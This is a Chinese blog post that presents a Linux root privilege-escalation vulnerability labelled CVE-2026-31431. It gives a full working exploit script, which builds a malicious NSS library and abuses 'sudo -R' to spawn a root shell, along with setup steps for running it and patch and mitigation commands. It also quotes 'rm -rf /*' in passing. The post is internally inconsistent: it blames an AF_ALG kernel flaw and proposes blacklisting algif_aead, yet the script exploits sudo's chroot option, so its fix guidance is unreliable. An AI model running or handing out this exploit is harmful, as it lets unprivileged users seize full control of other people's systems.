Lokve

一破敲代码的网工

文章

17

标签

20

评论

6

文章目录

数据统计

成立

509天

文章

17篇

评论

6条

标签

20个

最近文章

Linux CVE-2026-31431漏洞演示与修复

CVE-2026-31431漏洞

hello 各位

最近工作太忙了,很久没更新博客了

想不到都2026年了,Linux还能出这么爆冷的安全漏洞,而且这个漏洞涵盖了很多Linux发行版本

这漏洞有点牛逼,2017 年至 2026-03-31 之间的几乎所有主流 Linux 内核与发行版,只要内核在下面区间就受影响:

当然,号称华为自主研发的Openeuler Linux也没能幸免,因为跟随国家战略,基本上很多厂家都从原来的centos系列换成华为的欧拉了,但是实际上行内人士基本上都看得出来是centos套的壳子
  1. Ubuntu
    Ubuntu 18.04 LTS
    Ubuntu 20.04 LTS
    Ubuntu 22.04 LTS
    Ubuntu 24.04 LTS
  2. Debian
    Debian 11(bullseye,内核 5.10.x)
    Debian 12(bookworm,内核 6.1.x)
  3. RHEL / CentOS / Rocky / Alma / Oracle
    RHEL 8
    RHEL 9
    RHEL 10(含 10.1)
    CentOS 8
    Rocky Linux 8 / 9 / 10
    AlmaLinux 8 / 9
    Oracle Linux 8 / 9
  4. SUSE
    SUSE Linux Enterprise 15
    SUSE Linux Enterprise 16(已验证 6.12 内核)
  5. 云厂商 Linux
    Amazon Linux 2
    Amazon Linux 2023(已验证 6.18.8)
    Alibaba Cloud Linux
    TencentOS Server
  6. 其他社区发行版
    Fedora(34–40,对应 5.x~6.17)
    Arch Linux(滚动内核,大部分 5.x/6.x 受影响)
    openEuler 22.03 / 24.03
    Manjaro、EndeavourOS 等基于 Arch 的发行版

漏洞原理

总结:普通账号,不用密码、不用特殊权限,直接干到 Root 最高管理员权限。

玩过网络安全的朋友们都知道,想尽一切办法让上传成功的paylod能成功连上自己的反弹shell只是第一步

最重要的还是提权!

如果还是不清楚这是什么意思,这样说,最早期我们的手机可以刷机,需要root权限,因为安卓系统也是基于Linux

拿到root权限以后,完全就可以变成板砖了,一点办法都没有....

相比Windows ,Linux在“忠诚”这一层面,狠起来自己都可以删自己,这也流传了这样一个经典

rm -rf /*

漏洞复现

准备环境
Linux:

[orange@Orange ~]$ cat /etc/os-release 
NAME="openEuler"
VERSION="24.03 (LTS-SP2)"
ID="openEuler"
VERSION_ID="24.03"
PRETTY_NAME="openEuler 24.03 (LTS-SP2)"
ANSI_COLOR="0;31"

漏洞脚本

#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

该漏洞代码已经在GitHub上开源了,链接:CVE-2026-31431

环境准备

useradd orange   #创建orange账号
passwd orange    #修改orange登录密码
vim /home/orange/abc.sh   #在orange的家目录创建abc.sh,再将上面的代码复制进去
chmod 777 abc.sh #赋予abc.sh最高权限

su - orange   #切换orange账号 或 直接重新ssh使用orange账号登录

2026-05-04T11:19:09.png

根据以上图片,能看出使用orange账号登录进入,并查看abc.sh脚本可执行

复现

sh abc.sh 或 ./abc.sh 都可以

2026-05-04T11:20:52.png

讲真的,当时我自己第一次复现的时候,我人都麻了....

因为我自己的云服务器很多都是欧拉或者ubuntu系列的

随后我还真拿到我的云服务器上跑了一下,也成功了,虽然也需要通过普通账号进来,但是这也是一个很严重的突破口!

漏洞修复

总共分为两个方案,一个需重启一个不重启方案。

因为一些厂家服务器不允许重新或者当下不能重启

方案一【需重启】:更新系统版本内核
① Ubuntu / Debian 系列
# 更新软件源
apt update
# 全量升级内核+系统补丁
apt upgrade -y
# 重启生效
reboot

② CentOS 7 / 8 / 9、Rocky、Alma、欧拉 openEuler

yum update -y
# 或 dnf(新版系统)
dnf update -y
reboot
方案二【无需重启】:禁用 AF_ALG 加密套接字(漏洞必用组件)
# 临时禁用,立刻生效
modprobe -r algif_aead

# 永久禁用,重启也不加载
echo "blacklist algif_aead" >> /etc/modprobe.d/blacklist.conf

原理:该漏洞必须依赖 AF_ALG 加密接口才能构造恶意流量,直接卸载拉黑,EXP 直接跑不起来。

检查漏洞是否修复

1、查看当前内核版本

uname -r

核对:
<6.18.23 → 还在高危
≥6.18.23 → 已修复

2、检测漏洞依赖模块是否存在

lsmod | grep algif_aead

无输出 = 已禁用,临时防护生效

Linux CVE-2026-31431漏洞演示与修复

发布于

May 4, 2026

分类

Linux运维

版权协议

MIT

#Linux
评论
😀

感谢支持!

微信二维码

请使用微信扫描二维码打赏。

支付宝二维码

请使用支付宝扫描二维码打赏。

渝公网安备50010502504517号